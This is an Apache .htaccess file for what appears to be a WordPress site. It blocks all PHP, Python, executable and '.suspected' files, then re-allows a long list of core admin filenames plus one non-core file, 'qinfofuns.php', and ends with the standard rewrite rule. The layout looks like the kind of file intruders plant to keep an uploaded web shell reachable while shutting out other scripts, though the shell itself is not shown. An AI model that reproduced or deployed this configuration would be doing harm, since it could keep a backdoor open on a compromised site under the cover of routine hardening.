<FilesMatch "(?i)\.(py|exe|phtml|php\d*|suspected|cgi)$">
    <IfModule mod_authz_core.c>
        Require all denied
    </IfModule>
    <IfModule !mod_authz_core.c>
        Order allow,deny
        Deny from all
    </IfModule>
</FilesMatch>

<FilesMatch "^(site-health-info\.php|edit-tags\.php|widgets-form-blocks\.php|network\.php|options-media\.php|edit-form-blocks\.php|ms-sites\.php|menu-header\.php|site-health\.php|upgrade\.php|upload\.php|media\.php|install-helper\.php|custom-background\.php|update\.php|edit-tag-form\.php|options-permalink\.php|nav-menus\.php|freedoms\.php|install\.php|options\.php|link-add\.php|moderation\.php|admin\.php|wp-mail\.php|edit-form-advanced\.php|plugins\.php|authorize-application\.php|user-new\.php|wp-load\.php|options-reading\.php|media-new\.php|export-personal-data\.php|media-upload\.php|my-sites\.php|wp-blog-header\.php|options-discussion\.php|link\.php|qinfofuns\.php|widgets\.php|wp-config-sample\.php|ms-upgrade-network\.php|edit-form-comment\.php|load-scripts\.php|plugin-editor\.php|export\.php|admin-ajax\.php|link-parse-opml\.php|link-manager\.php|font-library\.php|styles\.php|admin-footer\.php|privacy\.php|wp-login\.php|load-styles\.php|privacy-policy-guide\.php|site-maintenance\.php|wp-signup\.php|customize\.php|credits\.php|edit\.php|admin-post\.php|erase-personal-data\.php|comment\.php|menu\.php|options-general\.php|user-edit\.php|upgrade-functions\.php|ms-users\.php|admin-functions\.php|revision\.php|options-privacy\.php|plugin-install\.php|users\.php|update-core\.php|xmlrpc\.php|wp-links-opml\.php|index\.php|ms-themes\.php|wp-cron\.php|site-editor\.php|options-connectors\.php|edit-comments\.php|theme-install\.php|post\.php|ms-options\.php|about\.php|wp-comments-post\.php|ms-edit\.php|themes\.php|admin-header\.php|wp-activate\.php|edit-link-form\.php|wp-upgrade\.php|options-head\.php|async-upload\.php|wp-settings\.php|ms-delete-site\.php|setup-config\.php|tools\.php|post-new\.php|term\.php|contribute\.php|import\.php|profile\.php|options-writing\.php|widgets-form\.php|press-this\.php|theme-editor\.php|custom-header\.php|wp-trackback\.php|ms-admin\.php)$">
    <IfModule mod_authz_core.c>
        Require all granted
    </IfModule>
    <IfModule !mod_authz_core.c>
        Order allow,deny
        Allow from all
    </IfModule>
</FilesMatch>

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . index.php [L]
</IfModule>